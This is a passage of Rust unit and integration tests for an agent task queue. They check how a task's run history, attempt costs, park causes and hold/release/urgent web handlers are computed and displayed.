let run = f.get(&format!("/api/runs/{a}")).await.json();
assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
}
fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
let mut s = RunState::new(
PathBuf::from("/repo/magi"),
"main".to_owned(),
"0123456789abcdef".to_owned(),
"Do it".to_owned(),
Config::default(),
);
s.status = status;
edit(&mut s);
s
}
fn flow_task(runs: &[&str]) -> Task {
let mut t = Task::new(
"t".to_owned(),
"Do it".to_owned(),
PathBuf::from("/repo/magi"),
Source::Human,
);
for r in runs {
t.start((*r).to_owned());
}
t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
t
}
fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
let h = task_history(task, |id| {
states
.iter()
.find(|(i, _)| *i == id)
.and_then(|(_, s)| s.clone())
});
task_flow(task, &h, 5, None)
}
#[test]
fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
let queued = "2026-10-10T00:00:00Z".parse().unwrap();
let created = "2026-10-10T01:00:00Z".parse().unwrap();
let first = "2026-10-10T02:00:00Z".parse().unwrap();
let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
let held = "2026-10-10T04:00:00Z".parse().unwrap();
let run = flow_run(RunStatus::Implementing, |s| {
s.created_at = created;
s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
s.passes[0].started_at = first;
s.passes[1].started_at = resumed;
});
let mut task = flow_task(&[RUN_X, RUN_X]);
task.created_at = queued;
task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
task.status = TaskStatus::Held;
task.held_at = Some(held);
let flow = flow_for(&task, &[(RUN_X, Some(run))]);
assert_eq!(
flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
vec![Some(queued), Some(first), Some(resumed), Some(held)]
);
assert!(flow.nodes.iter().all(|n| n.time_expected));
let json = serde_json::to_value(&flow).unwrap();
assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
assert_eq!(json["nodes"][2]["time_expected"], true);
}
#[test]
fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
let created = "2026-10-10T01:00:00Z".parse().unwrap();
let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
task.held_at = Some(created);
task.blocked_at = Some(created);
for status in [
TaskStatus::Queued,
TaskStatus::Running,
TaskStatus::Blocked,
TaskStatus::Done,
TaskStatus::Failed,
TaskStatus::Parked,
TaskStatus::Held,
] {
task.status = status;
if status == TaskStatus::Held {
task.held_at = None;
}
let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
assert_eq!(flow.nodes[1].started_at, Some(created));
assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
let json = serde_json::to_value(&flow).unwrap();
assert!(json["nodes"][3]["started_at"].is_null());
assert_eq!(json["nodes"][3]["time_expected"], true);
}
}
#[test]
fn flow_context_links_do_not_expect_start_times() {
let mut task = flow_task(&[]);
task.source = Source::Agent {
run: "chat-id".to_owned(),
node: "chat".to_owned(),
};
let origin = followup_origin(&fu(None), |_| None, |_| None);
let flow = task_flow(&task, &[], 5, Some(&origin));
for node in &flow.nodes[..2] {
assert!(!node.time_expected);
assert_eq!(node.started_at, None);
}
assert!(flow.nodes[2].time_expected);
}
fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
crate::queue::FollowUp {
run: "20260901-000000-aaaa".to_owned(),
origin_task: origin_task.map(str::to_owned),
pr: "https://example.com/o/r/pull/1".to_owned(),
findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
.map(str::to_owned)
.to_vec(),
generation: 1,
}
}
fn parent_task() -> Task {
let mut p = flow_task(&[]);
p.title = "Parent title".to_owned();
p.status = TaskStatus::Done;
p
}
#[test]
fn flow_opens_with_the_parent_task_of_a_followup() {
let p = parent_task();
let pid = p.id.clone();
let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
let n = &f.nodes[0];
assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
assert_eq!(
n.label,
format!("Follow-up of {}", crate::queue::short(&pid))
);
assert_eq!(n.detail.as_deref(), Some("Parent title"));
assert_eq!(n.status, Some("done"));
assert_eq!(n.status_of, "task");
assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
assert_eq!(f.nodes[1].key, "start");
assert_eq!(f.edges[0].from, "origin");
assert_eq!(
f.edges[0].label,
"open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
);
}
#[test]
fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
let o = followup_origin(
&fu(Some("gone")),
|_| None,
|_| {
Some(RunState::new(
std::path::PathBuf::from("."),
"main".to_owned(),
"0".to_owned(),
"t".to_owned(),
crate::config::Config::default(),
))
},
);
assert!(o.parent.is_none());
let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
let n = &f.nodes[0];
assert_eq!(n.status_of, "run");
assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
}
#[test]
fn flow_followup_with_nothing_readable_has_no_link() {
let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
let n = &f.nodes[0];
assert_eq!(n.href, None);
assert_eq!(n.note, Some("unreadable"));
assert!(!n.readable);
}
#[test]
fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
let o = followup_origin(&fu(None), |_| None, |_| None);
let mut t = flow_task(&[]);
t.origin_chat = Some("c1".to_owned());
let f = task_flow(&t, &[], 5, Some(&o));
assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
t.source = Source::Agent {
run: "c1".to_owned(),
node: crate::queue::CHAT_NODE.to_owned(),
};
let f = task_flow(&t, &[], 5, Some(&o));
assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
assert_eq!(
(f.edges[0].from.as_str(), f.edges[0].to.as_str()),
("chat", "origin")
);
}
#[test]
fn followup_origin_encodes_ids_and_survives_a_self_reference() {
let mut p = parent_task();
p.id = "a b/c".to_owned();
let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
}
#[test]
fn flow_opens_with_the_chat_that_queued_the_task() {
let mut t = flow_task(&[]);
t.source = Source::Agent {
run: "a b/c".to_owned(),
node: crate::queue::CHAT_NODE.to_owned(),
};
let f = flow_for(&t, &[]);
assert_eq!(f.nodes[0].key, "chat");
assert_eq!(f.nodes[0].kind, "chat");
assert_eq!(
f.nodes[0].label,
format!("Chat {}", crate::queue::short("a b/c"))
);
assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
assert_eq!(f.nodes[1].key, "start");
assert_eq!(
f.edges[0],
FlowEdge {
from: "chat".to_owned(),
to: "start".to_owned(),
label: "queued from chat".to_owned(),
attempt: AttemptCost::None,
}
);
}
#[test]
fn flow_has_no_chat_box_for_other_sources() {
for source in [
Source::Human,
Source::Issue {
number: 3,
repo: "o/r".to_owned(),
},
Source::Agent {
run: "20260904-014455-ab12".to_owned(),
node: "implement".to_owned(),
},
] {
let mut t = flow_task(&[]);
t.source = source;
let f = flow_for(&t, &[]);
assert_eq!(f.nodes[0].key, "start");
assert!(f.nodes.iter().all(|n| n.kind != "chat"));
assert!(f.edges.iter().all(|e| e.from != "chat"));
}
}
const FA: &str = "20260902-140501-aaaa";
const FB: &str = "20260902-140502-bbbb";
#[test]
fn flow_follows_blocked_retry_merged_to_done() {
let mut t = flow_task(&[FA, FB]);
t.status = TaskStatus::Done;
let f = flow_for(
&t,
&[
(FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
(FB, Some(flow_run(RunStatus::Merged, |_| {}))),
],
);
let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
assert_eq!(f.edges.len(), 3);
assert_eq!(f.edges[0].label, "claimed");
assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
assert_eq!(f.edges[2].label, "merged \u{2192} done");
assert_eq!(
f.nodes[2].href.as_deref(),
Some("#/runs/20260902-140502-bbbb")
);
assert!(f.nodes[2].decided);
}
#[test]
fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
let quota = || {
flow_run(RunStatus::Stalled, |s| {
s.quota.push(crate::run::QuotaLoss {
cause: crate::agent::QuotaCause::UsageLimit,
agent: String::new(),
seat: "judge-1".to_owned(),
node: "judge".to_owned(),
at: Timestamp::now(),
reset: None,
})
})
};
let mut t = flow_task(&[FA, FA]);
t.status = TaskStatus::Queued;
let f = flow_for(&t, &[(FA, Some(quota()))]);
assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
assert_eq!(f.nodes[1].note, Some("interrupted"));
assert_eq!(
f.nodes[1].status, None,
"no outcome copied onto an earlier pass"
);
assert_eq!(
f.edges[1].attempt,
AttemptCost::Unknown,
"a resume does not prove the earlier pass was refunded"
);
assert!(f.edges[1].label.contains("resume the same run"));
assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
assert_eq!(
f.edges[2].label,
"stalled after a resume, refund unknown \u{2192} queued"
);
assert!(!f.nodes[2].decided, "a stall is not a decision");
assert_eq!(f.nodes[2].note, Some("no verdict"));
}
#[test]
fn flow_single_pass_quota_stall_is_refunded() {
let t = flow_task(&[FA]);
let f = flow_for(
&t,
&[(
FA,
Some(flow_run(RunStatus::Stalled, |s| {
s.quota.push(crate::run::QuotaLoss {
cause: crate::agent::QuotaCause::UsageLimit,
agent: String::new(),
seat: "judge-1".to_owned(),
node: "judge".to_owned(),
at: Timestamp::now(),
reset: None,
})
})),
)],
);
assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
}
#[test]
fn flow_parked_refunds_and_stall_without_quota_spends() {
let mut t = flow_task(&[FA]);
t.status = TaskStatus::Queued;
let f = flow_for(
&t,
&[(
FA,
Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
)],
);
assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
assert!(!f.nodes[1].decided);
}
#[test]
fn flow_keeps_an_unreadable_run_as_its_own_node() {
let t = flow_task(&[FA, FB]);
let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
assert_eq!(f.nodes[1].note, Some("unreadable"));
assert!(!f.nodes[1].readable);
assert_eq!(f.nodes[1].run_kind, Some("unknown"));
assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
}
#[test]
fn flow_names_the_branch_of_a_review_only_run() {
let t = flow_task(&[FA]);
let f = flow_for(
&t,
&[(
FA,
Some(flow_run(RunStatus::Merged, |s| {
s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
})),
)],
);
assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
assert_eq!(
f.nodes[1].detail.as_deref(),
Some("review-only run of branch magi/x/A")
);
}
#[test]
fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
let mut t = flow_task(&[FA]);
t.status = TaskStatus::Held;
let pr = crate::run::PrRecord {
url: "https://example.test/pr/1".to_owned(),
number: 1,
state: "open".to_owned(),
checks: "green".to_owned(),
round: 0,
rounds: 3,
red_at_merge: Vec::new(),
};
let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
t.status = TaskStatus::Done;
let f = flow_for(&t, &[(FA, Some(blocked))]);
assert_eq!(f.edges[1].label, "closed by hand: task is done");
}
#[test]
fn flow_with_no_runs_goes_from_queued_to_queued() {
let t = flow_task(&[]);
let f = flow_for(&t, &[]);
assert_eq!(f.nodes.len(), 2);
assert_eq!(f.edges.len(), 1);
assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
assert_eq!(f.edges[0].attempt, AttemptCost::None);
}
#[test]
fn a_parked_non_terminal_run_is_explained_as_parked() {
let mut s = RunState::new(
PathBuf::from("/repo/magi"),
"main".to_owned(),
"0123456789abcdef".to_owned(),
"Do it".to_owned(),
Config::default(),
);
s.status = RunStatus::Implementing;
s.parked = true;
let task = Task::new(
"t".to_owned(),
"Do it".to_owned(),
PathBuf::from("/repo/magi"),
Source::Human,
);
let v = task_run_view(
"20260902-140501-aaaa",
Some(&s),
RunSlot {
n: 1,
resumed: false,
resumed_later: None,
prior: None,
last: true,
..RunSlot::default()
},
&task,
);
assert!(v.outcome.contains("Parked"), "{}", v.outcome);
}
fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
let mut s = flow_run(RunStatus::Implementing, edit);
s.parked = false;
let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
task_run_view(
"20260902-140501-aaaa",
Some(&s),
RunSlot {
n: 1,
resumed: false,
resumed_later: Some(2),
prior: None,
last: false,
..RunSlot::default()
},
&task,
)
}
#[test]
fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
let v = earlier_pass_view(|_| {});
assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
assert!(v.outcome.contains("unknown"), "{}", v.outcome);
assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
assert_eq!(v.exit, RunExit::Interrupted);
assert_eq!(v.attempt, AttemptCost::Unknown);
}
#[test]
fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
let v = earlier_pass_view(|s| {
s.quota.push(crate::run::QuotaLoss {
cause: crate::agent::QuotaCause::UsageLimit,
agent: String::new(),
seat: "judge-1".to_owned(),
node: "judge".to_owned(),
at: Timestamp::now(),
reset: None,
});
});
assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
assert!(v.outcome.contains("unknown"), "{}", v.outcome);
assert_eq!(v.attempt, AttemptCost::Unknown);
}
#[test]
fn the_current_pass_states_its_recorded_cause_and_cost() {
let slot = || RunSlot {
n: 1,
resumed: false,
resumed_later: None,
prior: None,
last: true,
..RunSlot::default()
};
let task = flow_task(&["20260902-140501-aaaa"]);
let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
assert_eq!(
(v.exit, v.attempt),
(RunExit::Parked, AttemptCost::Refunded)
);
let spent = flow_run(RunStatus::Blocked, |_| {});
let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
assert_eq!(v.attempt, AttemptCost::Spent);
assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
}
fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
crate::run::RunPass {
index,
started_at: Timestamp::now(),
resumed: index > 0,
ended_at: end.as_ref().map(|_| Timestamp::now()),
end,
task_entry: true,
}
}
fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
Some(crate::run::PassEnd::Parked { cause })
}
fn upgrade_cause() -> crate::run::ParkCause {
crate::run::ParkCause::Upgrade {
from: "0.121.0".to_owned(),
to: Some("0.121.1".to_owned()),
}
}
fn settled_pass(
run: &str,
index: usize,
cost: crate::queue::PassCost,
) -> crate::queue::TaskPass {
crate::queue::TaskPass {
run: run.to_owned(),
pass_index: index,
started_at: None,
cost,
attempts_after: 1,
settled_at: Timestamp::now(),
parked: None,
}
}
const RUN_X: &str = "20261011-223708-4334";
#[test]
fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
use crate::queue::PassCost;
let run = flow_run(RunStatus::Implementing, |s| {
s.passes = vec![
recorded_pass(0, parked(upgrade_cause())),
recorded_pass(1, None),
];
});
let mut task = flow_task(&[RUN_X, RUN_X]);
task.attempts = 1;
task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
let h = task_history(&task, |_| Some(run.clone()));
assert_eq!(h.len(), 2);
assert_eq!(h[0].kind, "competition");
assert_eq!(h[1].kind, "resume");
assert_eq!(
(h[0].exit, h[0].attempt),
(RunExit::Parked, AttemptCost::Refunded)
);
assert!(
h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
"{}",
h[0].outcome
);
assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
assert!(
h[0].outcome.contains("pass #2 resumed the same run"),
"{}",
h[0].outcome
);
assert!(
h[0].outcome.contains("pass 1 of 2 over run"),
"{}",
h[0].outcome
);
assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
assert_eq!(
h[0].exit_label,
"parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
);
let f = task_flow(&task, &h, 2, None);
assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
assert!(
f.edges[1].label.contains("upgrade 0.121.0"),
"{}",
f.edges[1].label
);
assert!(
f.edges[1].label.contains("resume the same run"),
"{}",
f.edges[1].label
);
assert_eq!(f.nodes[1].note, Some("parked"));
}
#[test]
fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
let mut a = flow_run(RunStatus::Implementing, |s| {
s.passes = vec![
recorded_pass(0, parked(upgrade_cause())),
recorded_pass(1, None),
];
});
let mut b = flow_run(RunStatus::Failed, |s| {
s.passes = vec![recorded_pass(0, None)];
});
a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
let mut task = flow_task(&[]);
task.start("a".into());
task.start("b".into());
task.start("a".into());
assert_eq!(task.runs, ["b", "a"]);
task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
let h = task_history(&task, |id| {
Some(if id == "a" { a.clone() } else { b.clone() })
});
assert_eq!(
h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
["a", "b", "a"]
);
assert_eq!(h[0].attempt, AttemptCost::Refunded);
assert!(h[0].outcome.contains("upgrade"));
assert_eq!(h[2].kind, "resume");
assert!(h[2].pass.is_some());
task.runs = vec!["a".into(), "b".into(), "a".into()];
let old = task_history(&task, |id| {
Some(if id == "a" { a.clone() } else { b.clone() })
});
assert_eq!(
old.iter()
.map(|v| (&v.id, &v.kind, v.attempt))
.collect::<Vec<_>>(),
h.iter()
.map(|v| (&v.id, &v.kind, v.attempt))
.collect::<Vec<_>>()
);
}
#[test]
fn an_upgrade_whose_target_was_not_known_says_so() {
let run = flow_run(RunStatus::Implementing, |s| {
s.passes = vec![
recorded_pass(
0,
parked(crate::run::ParkCause::Upgrade {
from: "0.121.0".to_owned(),
to: None,
}),
),
recorded_pass(1, None),
];
});
let task = flow_task(&[RUN_X, RUN_X]);
let h = task_history(&task, |_| Some(run.clone()));
assert!(
h[0].outcome.contains("upgrade from 0.121.0"),
"{}",
h[0].outcome
);
assert_eq!(h[0].attempt, AttemptCost::Unknown);
}
#[test]
fn each_pass_keeps_its_own_cause_across_several_resumes() {
use crate::queue::PassCost;
use crate::run::ParkCause;
let run = flow_run(RunStatus::Implementing, |s| {
s.passes = vec![
recorded_pass(0, parked(upgrade_cause())),
recorded_pass(
1,
parked(ParkCause::Interrupt {
reason: "task a1b2 asked to run first".to_owned(),
}),
),
recorded_pass(2, parked(ParkCause::Operator)),
recorded_pass(3, None),
];
});
let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
task.attempts = 1;
task.passes = (0..3)
.map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
.collect();
let h = task_history(&task, |_| Some(run.clone()));
assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
assert!(
h[1].outcome.contains("task a1b2 asked to run first"),
"{}",
h[1].outcome
);
assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
assert!(
h[2].outcome.contains("operator asked the loop to park"),
"{}",
h[2].outcome
);
assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
let f = task_flow(&task, &h, 2, None);
assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
}
#[test]
fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
let run = flow_run(RunStatus::Implementing, |s| {
s.passes = vec![
recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
recorded_pass(1, None),
];
});
let task = flow_task(&[RUN_X, RUN_X]);
let h = task_history(&task, |_| Some(run.clone()));
assert_eq!(h[0].exit, RunExit::Interrupted);
assert_eq!(h[0].attempt, AttemptCost::Unknown);
assert!(
h[0].outcome.contains("without recording why"),
"{}",
h[0].outcome
);
assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
}
#[test]
fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
use crate::queue::PassCost;
let run = flow_run(RunStatus::Implementing, |s| {
s.passes = vec![
recorded_pass(0, parked(upgrade_cause())),
recorded_pass(1, None),
];
});
let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
let h = task_history(&task, |_| Some(run.clone()));
assert!(h[0].pass.is_none());
assert_eq!(h[0].exit, RunExit::Interrupted);
assert_eq!(h[0].attempt, AttemptCost::Unknown);
assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
let legacy = flow_run(RunStatus::Implementing, |_| {});
let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
assert!(h.iter().all(|v| v.pass.is_none()));
assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
}
#[test]
fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
use crate::queue::PassCost;
let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
web.task_entry = false;
let run = flow_run(RunStatus::Implementing, |s| {
s.passes = vec![
recorded_pass(0, parked(upgrade_cause())),
web.clone(),
recorded_pass(2, None),
];
});
let mut task = flow_task(&[RUN_X, RUN_X]);
task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
let h = task_history(&task, |_| Some(run.clone()));
assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
let mut web0 = recorded_pass(0, parked(upgrade_cause()));
web0.task_entry = false;
let run = flow_run(RunStatus::Implementing, |s| {
s.passes = vec![web0.clone(), recorded_pass(1, None)];
});
let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
assert!(h[0].pass.is_none());
assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
assert!(h[1].pass.is_some());
}
#[tokio::test]
async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
let dir = tempfile::tempdir().unwrap();
let queue = Queue::at(dir.path().join("queue"));
let ui = Arc::new(Ui::new(
queue.clone(),
Questions::at(dir.path().join("questions")),
Talks::at(dir.path().join("talks")),
dir.path().join("runs"),
dir.path().to_path_buf(),
dir.path().to_path_buf(),
));
let mut t = Task::new(
"recover".into(),
"Inspect".into(),
PathBuf::from("."),
Source::Human,
);
t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
t.start("run-A".into());
t.release_operator("choice", Some("resume-question"));
t.resume_override = Some(crate::queue::OperatorResume {
question_id: "resume-question".into(),
at: jiff::Timestamp::now(),
conductor_rehold: None,
forced: true,
pinned_run: Some("run-A".into()),
});
t.hold_machine(Some("inspection pending".into()));
t.edit("recover".into(), "Reuse approved PR head".into())
.unwrap();
queue.put(&mut t).unwrap();
let mut cli = t.clone();
cli.release_operator("cli", None);
let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
let reloaded = queue.get(&t.id).unwrap();
assert_eq!(reply.task.status, TaskStatus::Queued);
assert!(reloaded.resume_override.is_none());
assert_eq!(reloaded.answers, t.answers);
let mut web = reloaded.resumption.unwrap();
let cli = cli.resumption.unwrap();
assert_eq!(web.source, "web");
web.source = cli.source.clone();
web.at = cli.at;
assert_eq!(web, cli);
}
#[tokio::test]
async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
let f = Fixture::start().await;
let queue = f.queue();
let mut task = Task::new(
"spent".to_owned(),
"Try again".to_owned(),
PathBuf::from("/repo/magi"),
Source::Human,
);
task.start("20260902-140502-bbbb".to_owned());
task.fail("agent gave up", 9);
queue.put(&mut task).expect("file the task");
let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
assert_eq!(held.status, 200);
assert_eq!(held.json()["status_str"], "held");
let released = f
.post(&format!("/api/queue/{}/release", task.id), None)
.await;
assert_eq!(released.status, 200);
assert_eq!(released.json()["status_str"], "queued");
assert_eq!(released.json()["resumption"]["source"], "web");
assert_eq!(released.json()["resumption"]["instruction"], "Try again");
let mut cli = task.clone();
cli.release_operator("cli", None);
let web = queue.get(&task.id).unwrap().resumption.unwrap();
let cli = cli.resumption.unwrap();
assert_eq!(web.instruction, cli.instruction);
assert_eq!(web.answers_through, cli.answers_through);
assert_eq!(web.runs_through, cli.runs_through);
assert_eq!(web.cleared_reason, cli.cleared_reason);
assert_eq!(
released.json()["attempts"],
0,
"release is a real second chance, not an instant re-hold"
);
assert_eq!(
queue.get(&task.id).expect("reload").status,
TaskStatus::Queued,
"the change is on disk, not only in the reply"
);
assert!(
!f.home
.path()
.join("queue")
.join(format!("{}.lock", task.id))
.exists(),
"the claim the mutation took is released again"
);
}
#[tokio::test]
async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
let f = Fixture::start().await;
let queue = f.queue();
let mut task = Task::new(
"busy".to_owned(),
"Running right now".to_owned(),
PathBuf::from("/repo/magi"),
Source::Human,
);
queue.put(&mut task).expect("file the task");
let _claim = queue.claim(&task.id).expect("stand in for the daemon");
let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
assert_eq!(res.status, 409);
assert_eq!(
queue.get(&task.id).expect("reload").status,
TaskStatus::Queued,
"the refused hold changed nothing"
);
}
#[tokio::test]
async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
let f = Fixture::start().await;
let queue = f.queue();
let mut task = Task::new(
"waiting on the migration".to_owned(),
"Do the thing".to_owned(),
PathBuf::from("/repo/magi"),
Source::Human,
);
queue.put(&mut task).expect("file the task");
let held = f
.post(
&format!("/api/queue/{}/hold", task.id),
Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
)
.await;
assert_eq!(held.status, 200, "{}", held.body);
assert_eq!(held.json()["status_str"], "held");
assert_eq!(
held.json()["hold_reason"],
"waiting for 20260101-000000-aaaa to land"
);
let listed = f.get("/api/queue").await.json();
assert_eq!(
listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
"the card reads the reason off the same list route"
);
let mut plain = Task::new(
"no reason given".to_owned(),
"Do another thing".to_owned(),
PathBuf::from("/repo/magi"),
Source::Human,
);
queue.put(&mut plain).expect("file the task");
let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
assert_eq!(held_plain.status, 200, "{}", held_plain.body);
assert!(held_plain.json()["hold_reason"].is_null());
let released = f
.post(&format!("/api/queue/{}/release", task.id), None)
.await;
assert_eq!(released.status, 200);
assert!(
released.json()["hold_reason"].is_null(),
"a release must clear the reason so the next hold does not inherit it"
);
}
#[test]
fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
for urgent in [true, false] {
let body: UrgentBody =
serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
assert_eq!(body.urgent, urgent);
}
for input in [
r#"{}"#,
r#"{"urgent":null}"#,
r#"{"urgent":"true"}"#,
r#"{"urgent":1}"#,
r#"{"urgent":true,"extra":false}"#,
] {
assert!(
serde_json::from_str::<UrgentBody>(input).is_err(),
"{input}"
);
}
}
#[tokio::test]
async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
let home = TempDir::new().unwrap();
let q = Queue::at(home.path().join("queue"));
let ui = Arc::new(Ui::new(
q.clone(),
Questions::at(home.path().join("questions")),
Talks::at(home.path().join("talks")),
home.path().join("runs"),
home.path().into(),
home.path().into(),
));
let mut task = Task::new(
"urgent handler".into(),
"keep".into(),
home.path().into(),
Source::Human,
);
for status in [TaskStatus::Queued, TaskStatus::Held] {
task.status = status;
q.put(&mut task).unwrap();
for urgent in [true, true, false, false] {
let saved = queue_urgent(
State(Arc::clone(&ui)),
Path(task.short().into()),
Ok(Json(UrgentBody { urgent })),
)
.await
.unwrap();
assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
}
}
task.status = TaskStatus::Queued;
q.put(&mut task).unwrap();
let claim = q.claim(&task.id).unwrap();
let error = queue_urgent(
State(Arc::clone(&ui)),
Path(task.id.clone()),
